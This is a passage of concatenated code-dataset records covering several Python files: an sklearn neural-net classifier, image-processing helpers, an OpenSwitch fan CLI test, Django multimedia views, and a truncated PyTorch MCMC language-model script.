pl in param_labels:\n #data0.append(dict0[pl]['values'][0])\n #print(nevents0,len(dict0[pl]))\n #print(len(dict0[pl][0:nevents0]),pl)\n print(pl)\n data0.append([dict0[pl][x] for x in index0[0:nevents0]])\n #print(len(dict0[pl]['values'][0]))\n\nfor pl in param_labels:\n #data1.append(dict1[pl]['values'][0])\n print(pl)\n data1.append([dict1[pl][x] for x in index1[0:nevents1]])\n #print(len(dict1[pl]['values'][0]))\n#exit()\n\n\nclassifier_results = {}\n\ndata0 = np.array(data0)\ndata1 = np.array(data1)\n\nclassifier_results[\"data0\"] = data0\nclassifier_results[\"data1\"] = data1\nclassifier_results[\"param_labels\"] = param_labels\nclassifier_results[\"dataset0\"] = infilenames[0]\nclassifier_results[\"dataset1\"] = infilenames[1]\nclassifier_results[\"nevents\"] = nevents \n\n################################################################################\n# Train test split\n################################################################################\n\nprint(data0.shape,data1.shape)\nX = np.concatenate((data0.transpose(), data1.transpose()))\ny = np.concatenate((np.ones(data0.transpose().shape[0]), np.zeros(data1.transpose().shape[0])))\nprint(\"X -----------------\")\nprint(type(X),X.shape)\nprint(type(y),y.shape)\n#print(X)\n#print(y)\n\nskdataset = {\"data\":X,\"target\":y,\"target_names\":param_labels}\n\n# Might want to look at Tim's second post about how to use the X_eval dataset for \n# cross-validation\n# https://betatim.github.io/posts/advanced-sklearn-for-TMVA/\nX_dev,X_eval, y_dev,y_eval = train_test_split(X, y, test_size=0.33, random_state=42)\nX_train,X_test, y_train,y_test = train_test_split(X_dev, y_dev, test_size=0.33, random_state=492)\n\n################################################################################\n# Fit/Classify\n################################################################################\n\n#dt = DecisionTreeClassifier(max_depth=3, min_samples_leaf=0.05*len(X_train))\ndt = DecisionTreeClassifier(max_depth=3)\n\nbdt = MLPClassifier(solver='lbfgs', alpha=1e-5, hidden_layer_sizes=(5, 2), random_state=1)\nbdt.fit(X_train, y_train)\n\nscores = cross_validation.cross_val_score(bdt,\n X_dev, y_dev,\n scoring=\"roc_auc\",\n n_jobs=6,\n cv=3)\n\n\nprint(\"Accuracy: %0.5f (+/- %0.5f)\" %(scores.mean(), scores.std()))\n\nclassifier_results[\"classifier\"] = bdt\n\n# Dump all the info to file\npickle.dump(classifier_results,outfile)\noutfile.close()\n\n# Perform grid search over all combinations\n# of these hyper-parameters\n'''\nparam_grid = {\"n_estimators\": [50,200,400,1000],\n #\"max_depth\": [3, 4, 5],\n 'learning_rate': [0.1, 0.2, 1.]}\n\nclf = grid_search.GridSearchCV(bdt,\n param_grid,\n cv=3,\n scoring='roc_auc',\n n_jobs=8)\n_ = clf.fit(X_dev, y_dev)\n\nprint(\"Best parameter set found on development set:\")\nprint(clf.best_estimator_)\nprint(\"\")\nprint(\"Grid scores on a subset of the development set:\")\nfor params, mean_score, scores in clf.grid_scores_:\n print(\"%0.4f (+/-%0.04f) for %r\" % (mean_score, scores.std(), params))\nprint(\"\")\nprint(\"With the model trained on the full development set:\")\n\ny_true, y_pred = y_dev, clf.decision_function(X_dev)\nprint(\" It scores %0.4f on the full development set\" % roc_auc_score(y_true, y_pred))\ny_true, y_pred = y_eval, clf.decision_function(X_eval)\nprint(\" It scores %0.4f on the full evaluation set\" % roc_auc_score(y_true, y_pred))\n'''\n\n\nplot_results(data0, data1, infilenames[0], infilenames[1], param_labels, bdt)\n\nplt.show()\n","sub_path":"scratch/ML/sklearn_NN.py","file_name":"sklearn_NN.py","file_ext":"py","file_size_in_byte":6731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"531133492","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nimport cv2\nimport csv\nimport math\nimport time\n\ndef compute_cm(src,operator_path):\n height = src.shape[0]\n width = src.shape[1]\n\n # load operator\n ope = np.array([[complex(elm) for elm in v] for v in csv.reader(open(operator_path, \"rU\"))])\n ope_size = int(math.sqrt(ope.shape[0]))\n ope_size2 = ope_size/2\n\n start = time.time()\n\n temp = np.zeros((height+2*ope_size2,width+2*ope_size2))\n temp_height = temp.shape[0]\n temp_width = temp.shape[1]\n temp[ope_size2:temp_height-ope_size2,ope_size2:temp_width-ope_size2] = src\n local = np.zeros((height*width,ope_size*ope_size))\n\n for i in range(height):\n for j in range(width):\n block = temp[i:i+2*ope_size2+1,j:j+2*ope_size2+1]\n local[(i-1)*width+(j-1),:] = np.reshape(block,block.size).T\n dst = local.dot(ope)\n\n elapsed_time = time.time() - start\n print (\"Elapsed_time:{0}\".format(elapsed_time)) + \"[sec]\"\n\n return dst\n\ndef circle(src,operator_path,thr=0.1):\n cm = compute_cm(src,operator_path)\n s = np.sum((np.absolute(cm))**2,1)\n\n dst = np.zeros(s.size)\n s_max = np.max(s)\n dst[np.where(s>s_max*thr)] = 255\n dst = np.reshape(dst,src.shape)\n\n cv2.imwrite('dst.jpg', dst)\n\n return dst\n","sub_path":"complex_moment.py","file_name":"complex_moment.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"618177773","text":"import cv2\nimport matplotlib.pyplot as plt\n\n\ndef show_image(img, **kwargs):\n \"\"\"Show an image without any interpolation\n Args:\n img: image as numpy array\n \"\"\"\n plt.subplot()\n plt.axis(\"off\")\n plt.imshow(X=img, interpolation=\"none\", **kwargs)\n\n\ndef crop_image(img, ymin, ymax, xmin, xmax):\n \"\"\"Crop image with given size\n Args:\n img: image as numpy array\n ymin: start cropping position along height in pixels\n ymax: end cropping position along height in pixels\n xmin: end cropping position along width in pixels\n xmax: end cropping position along width in pixels\n Returns:\n Image as numpy array\n \"\"\"\n return img[int(ymin) : int(ymax), int(xmin) : int(xmax), :]\n\n\ndef add_white_boarder(img, width):\n \"\"\"Add a white boarder to all sides of an image\n Args:\n img: image as numpy array\n width: boarder width in pixels\n Returns:\n Image as numpy array\n \"\"\"\n return cv2.copyMakeBorder(\n src=img,\n top=width,\n bottom=width,\n left=width,\n right=width,\n borderType=cv2.BORDER_CONSTANT,\n value=(255, 255, 255),\n )\n\n\ndef resize_image(img, direction, MAX_PIX):\n \"\"\"\n Resize an image along the height or the width, and keep its aspect ratio\n Args:\n img: image as numpy array\n direction: either 'h' or 'v'\n MAX_PIX: required maximum number of pixels\n Returns:\n Image as numpy array\n \"\"\"\n h, w, c = img.shape\n\n if direction == \"h\":\n dsize = (int((MAX_PIX * w) / h), int(MAX_PIX))\n\n elif direction == \"v\":\n dsize = (int(MAX_PIX), int((MAX_PIX * h) / w))\n\n img_resized = cv2.resize(\n src=img,\n dsize=dsize,\n interpolation=cv2.INTER_CUBIC,\n )\n\n h, w, c = img_resized.shape\n print(f\"Image shape: {h}H x {w}W x {c}C\")\n\n return img_resized","sub_path":"lib/api/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"429644508","text":"# -*- coding: utf-8 -*-\n\n# (c) Copyright 2015 Hewlett Packard Enterprise Development LP\n#\n# GNU Zebra is free software; you can rediTestribute it and/or modify it\n# under the terms of the GNU General Public License as published by the\n# Free Software Foundation; either version 2, or (at your option) any\n# later version.\n#\n# GNU Zebra is diTestributed in the hope that it will be useful, but\n# WITHoutputput ANY WARRANTY; withoutputput even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with GNU Zebra; see the file COPYING. If not, write to the Free\n# Software Foundation, Inc., 59 Temple Place - Suite 330, BoTeston, MA\n# 02111-1307, USA.\n\n\nTOPOLOGY = \"\"\"\n# +-------+\n# | sw1 |\n# +-------+\n\n# Nodes\n[type=openswitch name=\"Switch 1\"] sw1\n\"\"\"\n\n\ndef init_fan_table(sw1):\n # Add dummy data for fans in subsyTestem and fan table for simulation.\n # Assume there would be only one entry in subsyTestem table\n output = sw1('list subsystem', shell='vsctl')\n lines = output.split('\\n')\n for line in lines:\n if '_uuid' in line:\n _id = line.split(':')\n uuid = _id[1].strip()\n output = sw1('ovs-vsctl -- set Subsystem {} '\n ' fans=@fan1 -- --id=@fan1 create Fan '\n ' name=base-FAN-1L direction=f2b '\n ' speed=normal '\n ' status=ok rpm=9000'.format(uuid),\n shell='bash')\n\n\ndef show_system_fan(sw1, step):\n # TeTest to verify show syTestem command\n counter = 0\n step('Test to verify \\'show system fan\\' command ')\n output = sw1('show system fan')\n lines = output.split('\\n')\n for line in lines:\n if 'base-FAN-1L' in line:\n counter += 1\n if 'front-to-back' in line:\n counter += 1\n if 'normal' in line:\n counter += 1\n if 'ok' in line:\n counter += 1\n if '9000' in line:\n counter += 1\n assert counter is 5\n\n\ndef system_fan_speed(sw1, step):\n # TeTest to verify fan-speed command\n step('Test to verify \\'fan-speed\\' command ')\n fan_speed_set = False\n output = sw1('configure terminal')\n output = sw1('fan-speed slow')\n output = sw1('do show system fan')\n sw1('exit')\n lines = output.split('\\n')\n for line in lines:\n if 'Fan speed override is set to : slow' in line:\n fan_speed_set = True\n break\n assert fan_speed_set\n\n\ndef show_running_fan_speed(sw1, step):\n # TeTest to verify if the fan-speed config is reflected\n # in show running config\n step(\"Test to verify \\'show running\\' command for fan-speed config\")\n fan_speed_keyword_found = False\n output = sw1('show running-config')\n lines = output.split('\\n')\n for line in lines:\n if 'fan-speed slow' in line:\n fan_speed_keyword_found = True\n break\n assert fan_speed_keyword_found\n\n\ndef no_system_fan_speed(sw1, step):\n # Test to verify no fan-speed command\n step('Test to verify \\'no fan-speed\\' command ')\n fan_speed_unset = False\n output = sw1('configure terminal')\n assert 'Unknown command' not in output\n output = sw1('no fan-speed')\n assert 'Unknown command' not in output\n output = sw1('do show system fan')\n sw1('exit')\n lines = output.split('\\n')\n for line in lines:\n if 'Fan speed override is not configured' in line:\n fan_speed_unset = True\n break\n assert fan_speed_unset\n\n\ndef test_fand_ct_fan(topology, step):\n # Initialize the led table with dummy value\n sw1 = topology.get(\"sw1\")\n init_fan_table(sw1)\n # show syTestem fan\n step('Test to verify \\'show system fan\\' command')\n show_system_fan(sw1, step)\n # set syTestem fan speed\n step('Test to verify \\'fan-speed\\' command')\n system_fan_speed(sw1, step)\n # show_running_fan_speed\n step('Test to verify \\'show running\\' command for fan-speed config')\n show_running_fan_speed(sw1, step)\n # unset syTestem fan speed teTest\n step('Test to verify \\'no fan-speed\\' command')\n no_system_fan_speed(sw1, step)\n","sub_path":"ops-fand/ops-tests/component/test_fand_ct_fan.py","file_name":"test_fand_ct_fan.py","file_ext":"py","file_size_in_byte":4276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"302530724","text":"from django.contrib import messages\nfrom django.http import Http404, HttpResponse\nfrom django.shortcuts import render\nfrom corehq.apps.app_manager.dbaccessors import get_app\nfrom corehq.apps.app_manager.decorators import require_deploy_apps, \\\n require_can_edit_apps\nfrom corehq.apps.app_manager.xform import XForm, validate_xform\nfrom corehq.apps.app_manager.util import get_app_manager_template\nfrom corehq.util.view_utils import set_file_download\nfrom dimagi.utils.logging import notify_exception\nfrom dimagi.utils.subprocess_timeout import ProcessTimedOut\n\n\n@require_can_edit_apps\ndef multimedia_list_download(request, domain, app_id):\n app = get_app(domain, app_id)\n include_audio = request.GET.get(\"audio\", True)\n include_images = request.GET.get(\"images\", True)\n strip_jr = request.GET.get(\"strip_jr\", True)\n filelist = []\n for m in app.get_modules():\n for f in m.get_forms():\n validate_xform(domain, f.source)\n parsed = XForm(f.source)\n if include_images:\n filelist.extend(parsed.image_references)\n if include_audio:\n filelist.extend(parsed.audio_references)\n\n if strip_jr:\n filelist = [s.replace(\"jr://file/\", \"\") for s in filelist if s]\n response = HttpResponse()\n set_file_download(response, 'list.txt')\n response.write(\"\\n\".join(sorted(set(filelist))))\n return response\n\n\n@require_deploy_apps\ndef multimedia_ajax(request, domain, app_id):\n\n template = get_app_manager_template(\n request.user,\n 'app_manager/v1/partials/multimedia_ajax.html',\n 'app_manager/v2/partials/multimedia_ajax.html',\n )\n\n app = get_app(domain, app_id)\n if app.get_doc_type() == 'Application':\n try:\n multimedia_state = app.check_media_state()\n except ProcessTimedOut:\n notify_exception(request)\n messages.warning(request, (\n \"We were unable to check if your forms had errors. \"\n \"Refresh the page and we will try again.\"\n ))\n multimedia_state = {\n 'has_media': False,\n 'has_form_errors': True,\n 'has_missing_refs': False,\n }\n context = {\n 'multimedia_state': multimedia_state,\n 'domain': domain,\n 'app': app,\n }\n return render(request, template, context)\n else:\n raise Http404()\n","sub_path":"corehq/apps/app_manager/views/multimedia.py","file_name":"multimedia.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"434680474","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 20 12:02:16 2019\n\n@author: ashrey\n\"\"\"\n\n\nimport torch\nimport torch.nn as nn\nimport numpy as np\nimport random\nimport matplotlib.pyplot as plt\nimport math\n#np.random.seed(1)\nimport nn_mcmc_plots as mcmcplt\nimport os\nimport copy\nimport argparse\nimport time\n#np.random.seed(1)\nimport datetime\nimport multiprocessing\nimport gc\nimport matplotlib as mpl\nmpl.use('agg')\nimport collections\nimport os\nimport tensorflow as tf\nfrom keras.models import Sequential, load_model\nfrom keras.layers import Dense, Activation, Embedding, Flatten, Dropout, TimeDistributed, Reshape, Lambda\nfrom keras.layers import LSTM\nfrom keras.optimizers import RMSprop, Adam, SGD\nfrom keras import backend as K\nfrom keras.utils import to_categorical\nfrom keras.callbacks import ModelCheckpoint\nimport numpy as np\nimport argparse\n\n\nmplt = mcmcplt.Mcmcplot()\nweightdecay = 0.01\n\n\n#Initialise and parse inputs\nparser=argparse.ArgumentParser(description='PTBayeslands modelling')\n\n\nparser.add_argument('-n','--net', help='Choose rnn net, \"1\" for RNN, \"2\" for GRU, \"3\" for LSTM', default = 1, dest=\"net\",type=int)\nparser.add_argument('-s','--samples', help='Number of samples', default=500, dest=\"samples\",type=int)\nparser.add_argument('-r','--replicas', help='Number of chains/replicas, best to have one per availble core/cpu', default=4,dest=\"num_chains\",type=int)\nparser.add_argument('-t','--temperature', help='Demoninator to determine Max Temperature of chains (MT=no.chains*t) ', default=3,dest=\"mt_val\",type=int)\nparser.add_argument('-swap','--swap', help='Swap Ratio', dest=\"swap_ratio\",default=0.1,type=float)\nparser.add_argument('-b','--burn', help='How many samples to discard before determing posteriors', dest=\"burn_in\",default=0.25,type=float)\nparser.add_argument('-pt','--ptsamples', help='Ratio of PT vs straight MCMC samples to run', dest=\"pt_samples\",default=0.5,type=float)\nparser.add_argument('-step','--step', help='Step size for proposals (0.02, 0.05, 0.1 etc)', dest=\"step_size\",default=0.05,type=float)\nparser.add_argument('-lr','--learn', help='learn rate for langevin gradient', dest=\"learn_rate\",default=0.1,type=float)\n\nargs = parser.parse_args()\nbatch_size = 100\ndef f(): raise Exception(\"Found exit()\")\n\ndef read_words(filename):\n with tf.gfile.GFile(filename, \"r\") as f:\n return f.read().replace(\"\\n\", \"\").split()\n\ndef build_vocab(filename):\n data = read_words(filename)\n\n counter = collections.Counter(data)\n count_pairs = sorted(counter.items(), key=lambda x: (-x[1], x[0]))\n \n words, _ = list(zip(*count_pairs))\n word_to_id = dict(zip(words, range(len(words))))\n \n return word_to_id\n\ndef file_to_word_ids(filename, word_to_id):\n data = read_words(filename)\n return [word_to_id[word] for word in data if word in word_to_id]\n\ndef load_data():\n # get the data paths\n train_path = 'data/ptb.train.txt'\n valid_path = 'data/ptb.valid.txt'\n test_path = 'data/ptb.test.txt'\n\n # build the complete vocabulary, then convert text data to list of integers\n word_to_id = build_vocab(train_path)\n train_data = file_to_word_ids(train_path, word_to_id)\n valid_data = file_to_word_ids(valid_path, word_to_id)\n test_data = file_to_word_ids(test_path, word_to_id)\n vocabulary = len(word_to_id)\n reversed_dictionary = dict(zip(word_to_id.values(), word_to_id.keys()))\n\n print(vocabulary)\n return train_data, valid_data, test_data, vocabulary, reversed_dictionary\n\n\nclass KerasBatchGenerator(object):\n\n def __init__(self, data, num_steps, batch_size, vocabulary, skip_step=5):\n self.data = data\n self.num_steps = num_steps\n self.batch_size = batch_size\n self.vocabulary = vocabulary\n # this will track the progress of the batches sequentially through the\n # data set - once the data reaches the end of the data set it will reset\n # back to zero\n self.current_idx = 0\n # skip_step is the number of words which will be skipped before the next\n # batch is skimmed from the data set\n self.skip_step = skip_step\n\n def generate(self):\n x = np.zeros((self.batch_size, self.num_steps))\n y = np.zeros((self.batch_size, self.num_steps, self.vocabulary))\n flag = 0\n while True:\n if(flag == 1):\n break\n for i in range(self.batch_size):\n if self.current_idx + self.num_steps >= len(self.data):\n # reset the index back to the start of the data set\n self.current_idx = 0\n flag = 1\n x[i, :] = self.data[self.current_idx:self.current_idx + self.num_steps]\n temp_y = self.data[self.current_idx + 1:self.current_idx + self.num_steps + 1]\n # convert all of temp_y into a one hot representation\n y[i, :, :] = to_categorical(temp_y, num_classes=self.vocabulary)\n self.current_idx += self.skip_step\n yield x, y\n\n\n\n\n\nclass Model(nn.Module):\n\n # Defining input size, hidden layer size, output size and batch size respectively\n def __init__(self, topo,lrate,rnn_net = 'LSTM'):\n super(Model, self).__init__()\n # assuming num_dicrections to be 1 for all the cases\n # Defining some parameters\n self.hidden_dim = topo[1]#hidden_dim\n self.n_layers = 1#len(topo)-2 #n_layers\n self.batch_size = batch_size\n self.lrate = lrate\n if rnn_net == 'RNN':\n self.hidden = torch.ones(self.n_layers, self.batch_size, self.hidden_dim)\n self.rnn = nn.RNN(input_size = topo[0], hidden_size = topo[1])\n\n if rnn_net == 'GRU':\n self.hidden = torch.ones((self.n_layers,self.batch_size,self.hidden_dim))\n self.rnn = nn.GRU(input_size = topo[0], hidden_size = topo[1])\n\n if rnn_net == 'LSTM':\n self.hidden = (torch.ones((self.n_layers,self.batch_size,self.hidden_dim)), torch.ones((self.n_layers,self.batch_size,self.hidden_dim)))\n self.rnn = nn.LSTM(input_size = topo[0], hidden_size = topo[1])\n\n # Fully connected layer\n self.fc = nn.Linear(topo[1],topo[2])\n self.topo = topo\n self.vocab_size = topo[3]\n self.embed = nn.Embedding(self.vocab_size,topo[0])\n print(rnn_net, ' is rnn net')\n\n\n def sigmoid(self, z):\n return 1/(1+torch.exp(-z))\n\n def forward(self, x):\n outmain=torch.zeros((len(x),self.topo[2]))\n for i,sample in enumerate(x):\n sample = torch.FloatTensor(sample)\n sample = self.embed(sample)\n # sample = sample.view(sample.shape[0],1,self.topo[0])\n hidden = copy.deepcopy(self.hidden)\n out, h1 = self.rnn(sample, hidden)\n out = self.fc(out[-1])\n out = self.sigmoid(out)\n outmain[i,] = copy.deepcopy(out.detach())\n return copy.deepcopy(outmain)\n\n def init_hidden(self, batch_size):\n # This method generates the first hidden state of zeros which we'll use in the forward pass\n # We'll send the tensor holding the hidden state to the device we specified earlier as well\n hidden = torch.zeros(self.n_layers, batch_size, self.hidden_dim)\n return hidden # Create a brnn -- assuming h0 size = 5 i.e. hidden layer has 5 nuerons\n\n def dictfromlist(self,param):\n dic = {}\n i=0\n for name in sorted(self.state_dict().keys()):\n dic[name] = torch.FloatTensor(param[i:i+(self.state_dict()[name]).view(-1).shape[0]]).view(self.state_dict()[name].shape)\n i += (self.state_dict()[name]).view(-1).shape[0]\n #self.loadparameters(dic)\n return dic\n \n def evaluate_proposal(self,x,w=None):\n if w is None:\n y_pred = self.forward(x)\n return copy.deepcopy(y_pred.detach().numpy())\n else:\n self.loadparameters(w)\n y_pred = self.forward(x)\n return copy.deepcopy(np.array(y_pred.detach()))\n\n\n# def loss(self,fx,y):\n# fx = torch.FloatTensor(fx)\n# y = torch.FloatTensor(y)\n# criterion = nn.MSELoss()\n# loss = criterion(fx,y)\n# return loss.item()\n\n def langevin_gradient(self,x,y,w):\n #print(w)\n self.loadparameters(w)\n criterion = torch.nn.MSELoss()\n optimizer = torch.optim.SGD(self.parameters(),lr = self.lrate)\n for i,sample in enumerate(x):\n # sample = torch.FloatTensor(sample).view(sample.shape[0],1,self.topo[0])\n hidden = copy.deepcopy(self.hidden)\n optimizer.zero_grad()\n sample = self.embed(sample)\n out, h1 = self.rnn(sample, hidden)\n out = self.fc(out[-1])\n out = self.sigmoid(out)\n loss = criterion(out,torch.FloatTensor(y[i]).view(out.shape))\n loss.backward()\n optimizer.step()\n return copy.deepcopy(self.state_dict())\n\n\n #returns a np arraylist of weights and biases -- layerwise\n # in order i.e. weight and bias of input and hidden then weight and bias for hidden to out\n def getparameters(self,w = None):\n l=np.array([1,2])\n dic = {}\n if w is None:\n dic = self.state_dict()\n else:\n dic = copy.deepcopy(w)\n for name in sorted(dic.keys()):\n l=np.concatenate((l,np.array(copy.deepcopy(dic[name])).reshape(-1)),axis=None)\n l = l[2:]\n return l\n\n\n # input a dictionary of same dimensions\n def loadparameters(self,param):\n self.load_state_dict(param)\n\n # input weight dictionary, mean, std dev\n def addnoiseandcopy(self,w,mea,std_dev):\n dic = {}\n for name in (w.keys()):\n dic[name] = copy.deepcopy(w[name]) + torch.zeros(w[name].size()).normal_(mean = mea, std = std_dev)\n return dic\n\n\n\nclass ptReplica(multiprocessing.Process):\n\n def __init__(self, use_langevin_gradients, learn_rate, w, minlim_param, maxlim_param, samples,trainx,trainy,testx,testy, topology, burn_in, temperature, swap_interval, langevin_prob, path, parameter_queue, main_process,event,rnn_net):\n #MULTIPROCESSING VARIABLES\n multiprocessing.Process.__init__(self)\n self.processID = temperature\n self.parameter_queue = parameter_queue\n self.signal_main = main_process\n self.event = event\n self.rnn = Model(topology,learn_rate,rnn_net=rnn_net)\n self.temperature = temperature\n self.adapttemp = temperature\n self.swap_interval = swap_interval\n self.path = path\n self.burn_in = burn_in\n #FNN CHAIN VARIABLES (MCMC)\n self.samples = samples\n self.topology = topology\n self.train_x = trainx\n self.train_y = trainy\n self.test_x = testx\n self.test_y = testy\n self.w = w\n self.minY = np.zeros((1,1))\n self.maxY = np.zeros((1,1))\n #self.rnn\n self.minlim_param = minlim_param\n self.maxlim_param = maxlim_param\n self.use_langevin_gradients = use_langevin_gradients\n self.sgd_depth = 1 # always should be 1\n self.learn_rate = learn_rate\n self.l_prob = langevin_prob # can be evaluated for diff problems - if data too large keep this low value since the gradients cost comp time\n\n def rmse(self, pred, actual):\n return np.sqrt(((pred-actual)**2).mean())\n\n '''def likelihood_func(self, fnn, data, w):\n y = data[:, self.topology[0]]\n fx = fnn.evaluate_proposal(data,w)\n rmse = self.rmse(fx,y)\n z = np.zeros((data.shape[0],self.topology[2]))\n lhood = 0\n for i in range(data.shape[0]):\n for j in range(self.topology[2]):\n if j == y[i]:\n z[i,j] = 1\n lhood += z[i,j]*np.log(prob[i,j])\n return [lhood/self.temperature, fx, rmse]'''\n\n def likelihood_func(self, rnn,x,y, w, tau_sq):\n fx = rnn.evaluate_proposal(x,w)\n fx = np.array(fx)[:,0]\n y = np.array(y).reshape(fx.shape)#data[:, self.topology[0]]\n rmse = self.rmse(fx, y)\n loss = np.sum(-0.5*np.log(2*math.pi*tau_sq) - 0.5*np.square(y-fx)/tau_sq)\n return [np.sum(loss)/self.adapttemp, fx, rmse]\n\n '''def prior_likelihood(self, sigma_squared, nu_1, nu_2, w):\n h = self.topology[1] # number hidden neurons\n d = self.topology[0] # number input neurons\n part1 = -1 * ((d * h + h + self.topology[2]+h*self.topology[2]) / 2) * np.log(sigma_squared)\n part2 = 1 / (2 * sigma_squared) * (sum(np.square(w)))\n log_loss = part1 - part2\n return log_loss'''\n\n def prior_likelihood(self, sigma_squared, nu_1, nu_2, w, tausq,rnn):\n h = self.topology[1] # number hidden neurons\n d = self.topology[0] # number input neurons\n part1 = -1 * ((len(rnn.getparameters(w))) / 2) * np.log(sigma_squared)\n part2 = 1 / (2 * sigma_squared) * (sum(np.square(rnn.getparameters(w))))\n log_loss = part1 - part2 - (1 + nu_1) * np.log(tausq) - (nu_2 / tausq)\n return log_loss\n\n def run(self):\n #INITIALISING FOR RNN\n samples = self.samples\n x_test = self.test_x\n x_train = self.train_x\n y_train = self.train_y\n batch_save = 10 # batch to append to file\n learn_rate = self.learn_rate\n rnn = self.rnn#Model(self.topology,learn_rate,rnn_net = self.rnn_net)\n w_size = sum(p.numel() for p in rnn.parameters())\n pos_w = np.ones((samples, w_size)) #Posterior for all weights\n rmse_train = np.zeros(samples)\n rmse_test = np.zeros(samples)\n acc_train = np.zeros(samples)\n acc_test = np.zeros(samples)\n #Random Initialisation of weights\n w = copy.deepcopy(rnn.state_dict())\n eta = 0 #Junk variable\n step_w = 0.025\n step_eta = 0.2\n\n #Declare RNN\n pred_train = rnn.evaluate_proposal(x_train,w) #\n pred_test = rnn.evaluate_proposal(x_test, w) #\n eta = np.log(np.var(pred_train - np.array(y_train)))\n tau_pro = np.exp(eta)\n\n sigma_squared = 25\n nu_1 = 0\n nu_2 = 0\n sigma_diagmat = np.zeros((w_size, w_size)) # for Equation 9 in Ref [Chandra_ICONIP2017]\n np.fill_diagonal(sigma_diagmat, step_w)\n\n #delta_likelihood = 0.5 # an arbitrary position\n prior_current = self.prior_likelihood(sigma_squared, nu_1, nu_2, w, tau_pro,rnn) # takes care of the gradients\n [likelihood, pred_train, rmsetrain] = self.likelihood_func(rnn, self.train_x,self.train_y, w, tau_pro)\n [_, pred_test, rmsetest] = self.likelihood_func(rnn, self.test_x,self.test_y, w, tau_pro)\n prop_list = np.zeros((samples,w_size))\n likeh_list = np.zeros((samples,2)) # one for posterior of likelihood and the other for all proposed likelihood\n likeh_list[0,:] = [-100, -100] # to avoid prob in calc of 5th and 95th percentile later\n surg_likeh_list = np.zeros((samples,2))\n accept_list = np.zeros(samples)\n num_accepted = 0\n langevin_count = 0\n pt_samples = samples * 0.6 # this means that PT in canonical form with adaptive temp will work till pt samples are reached\n init_count = 0\n self.event.clear()\n for i in range(samples-1): # Begin sampling --------------------------------------------------------------------------\n timer1 = time.time()\n if i < pt_samples:\n self.adapttemp = self.temperature #* ratio #\n if i == pt_samples and init_count ==0: # move to MCMC canonical\n self.adapttemp = 1\n [likelihood, pred_train, rmsetrain ] = self.likelihood_func(rnn, self.train_x,self.train_y, w, tau_pro)\n [_, pred_test, rmsetest ] = self.likelihood_func(rnn, self.test_x,self.test_y, w, tau_pro)\n init_count = 1\n\n\n lx = np.random.uniform(0,1,1)\n\n if (self.use_langevin_gradients is True) and (lx< self.l_prob):\n w_gd = rnn.langevin_gradient(self.train_x,self.train_y, copy.deepcopy(w)) # Eq 8\n w_proposal = rnn.addnoiseandcopy(w_gd,0,step_w) #np.random.normal(w_gd, step_w, w_size) # Eq 7\n w_prop_gd = rnn.langevin_gradient(self.train_x,self.train_y, copy.deepcopy(w_proposal))\n #first = np.log(multivariate_normal.pdf(w , w_prop_gd , sigma_diagmat))\n #second = np.log(multivariate_normal.pdf(w_proposal , w_gd , sigma_diagmat)) # this gives numerical instability - hence we give a simple implementation next that takes out log\n wc_delta = (rnn.getparameters(w)- rnn.getparameters(w_prop_gd))\n wp_delta = (rnn.getparameters(w_proposal) - rnn.getparameters(w_gd))\n sigma_sq = step_w\n first = -0.5 * np.sum(wc_delta * wc_delta ) / sigma_sq # this is wc_delta.T * wc_delta /sigma_sq\n second = -0.5 * np.sum(wp_delta * wp_delta ) / sigma_sq\n diff_prop = first - second\n diff_prop = diff_prop/self.adapttemp\n langevin_count = langevin_count + 1\n else:\n diff_prop = 0\n w_proposal = rnn.addnoiseandcopy(w,0,step_w) #np.random.normal(w, step_w, w_size)\n eta_pro = eta + np.random.normal(0, step_eta, 1)\n tau_pro = math.exp(eta_pro)\n [likelihood_proposal, pred_train, rmsetrain] = self.likelihood_func(rnn, self.train_x,self.train_y, w_proposal,tau_pro)\n [_, pred_test, rmsetest] = self.likelihood_func(rnn, self.test_x,self.test_y, w_proposal,tau_pro)\n prior_prop = self.prior_likelihood(sigma_squared, nu_1, nu_2, w_proposal,tau_pro,rnn) # takes care of the gradients\n diff_prior = prior_prop - prior_current\n diff_likelihood = likelihood_proposal - likelihood\n surg_likeh_list[i+1,0] = likelihood_proposal * self.adapttemp\n #surg_likeh_list[i+1,1] = np.nan\n try:\n mh_prob = min(0, (diff_likelihood+diff_prior+ diff_prop))\n mh_prob = math.exp(mh_prob)\n except OverflowError as e:\n mh_prob = 1\n accept_list[i+1] = num_accepted\n if (i % batch_save+1) == 0: # just for saving posterior to file - work on this later\n x = 0\n u = random.uniform(0, 1)\n prop_list[i+1,] = rnn.getparameters(w_proposal).reshape(-1)\n likeh_list[i+1,0] = likelihood_proposal\n if u < mh_prob:\n num_accepted = num_accepted + 1\n likelihood = likelihood_proposal\n prior_current = prior_prop\n w = copy.deepcopy(w_proposal)\n eta = eta_pro\n acc_train[i+1,] = 0\n acc_test[i+1,] = 0\n #print(i,rmsetrain,rmsetest,'accepted')\n pos_w[i+ 1,] = rnn.getparameters(w_proposal).reshape(-1)\n rmse_train[i + 1,] = rmsetrain\n rmse_test[i + 1,] = rmsetest\n else:\n pos_w[i+1,] = pos_w[i,]\n rmse_train[i + 1,] = rmse_train[i,]\n rmse_test[i + 1,] = rmse_test[i,]\n acc_train[i+1,] = acc_train[i,]\n acc_test[i+1,] = acc_test[i,]\n\n if ((i+1) % self.swap_interval == 0 and i != 0 ):\n w_size = rnn.getparameters(w).reshape(-1).shape[0]\n param = np.concatenate([rnn.getparameters(w).reshape(-1), np.asarray([eta]).reshape(1), np.asarray([likelihood*self.temperature]),np.asarray([self.temperature])])\n self.parameter_queue.put(param)\n self.signal_main.set()\n self.event.clear()\n self.event.wait()\n param1 = self.parameter_queue.get()\n w1 = 